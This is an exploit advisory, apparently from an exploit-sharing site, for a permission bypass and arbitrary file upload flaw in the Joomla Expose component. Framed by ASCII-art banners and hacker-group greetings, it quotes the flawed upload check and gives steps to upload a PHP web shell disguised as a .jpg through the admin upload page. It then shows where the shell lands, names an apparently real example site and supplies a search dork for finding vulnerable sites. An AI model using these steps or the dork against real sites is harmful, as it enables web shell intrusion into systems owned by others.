HHHHHHH HHHHHH HH HHHHHHHH HHHHHH HHHHHHHH IHHI HH HH HHHHHHHH HH HH HH HH HH HHHHHHHH HH IHHI HH HHH HH HHHHHHHH HH HH HH HH HH HH HH HH HH HHHH HH HH HHHHHHH HHHHHH HH HHHHHHH HHHHHH HH HH HH HH HH HHHHHHHH HH HH HH HH HH HH HH HH HH HHHH HH HH HH HH HH HHHHHHHH HH HH HH HH HHH HHHHHHHH HH HH HH HHHHHHH HHHHHHHH HHHHHH HH IHHI HH HH HHHHHHHH ================================================================================================================ ++ Joomla Component Expose <= RC35 Remote Permission Bypass/Arbitrary File Upload Vulnerability ++ ++ http://joomlacode.org/gf/download/frsrelease/726/10814/com_expose_small_rc4.zip ++ ---------------------------------------------------------------------------------------------------------------- ++ in : /com_expose/uploadimg.php ++ ++ => $target_path = "../../../components/com_expose/expose/img/"; ++ ++ if((strcasecmp(substr($userfile_name,-4),'.jpg'))){ echo "";++ ++ File Upload : ++ ++ Attacker Got Permission Bypass and upload files ++ ---------------------------------------------------------------------------------------------------------------- ++ Arbitrary File Upload ++ ++ use this link to upload your phpshell [ phpshell.php.jpg ] ++ ++ http://site.com/administrator/components/com_expose/uploadimg.php ++ ++ You wil have shell file in this page ++ ++ http://site.com/components/com_expose/expose/img/ ++ ++ Example : http://ayazshah.com/ ++ ++ Dork : "index.php?option=com_expose" ++ ---------------------------------------------------------------------------------------------------------------- ++ Cold z3ro ++ ++ http://hackteach.org ++ ---------------------------------------------------------------------------------------------------------------- ++ Greets : Hackteach Members , Xp10.Com ++ ++ Greets 2 arab Coders : ValentinoLove,Gold M,Sniper-sa,dOCnOK,Hammam,Pal-booter Coders speciale Mr.jerusalem++ ================================================================================================================ HH HH HHHHHH HHHHHH HH HH HHHHHHHH HHHHHHHH HHHHHHH HHHHHH HH HH HH HH HH HH HHHHH HH HH IHHI HHHHHHH HH HH HHHHH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HH HHHHHH HHHHHH HH HHHH HHHHH HH HHHHHHH HH HH HH HHHHHH HH HH HH HH HH HH HH HH HH HHHHHHH HH HH HH HH HH HH HH HHHHH HH HH HH HHHHHHHH HH HH HHHHH HH HH HH HH HH HH HHHHHH HH HH HH HHHHHHHH HH HH HHHHHH HH HH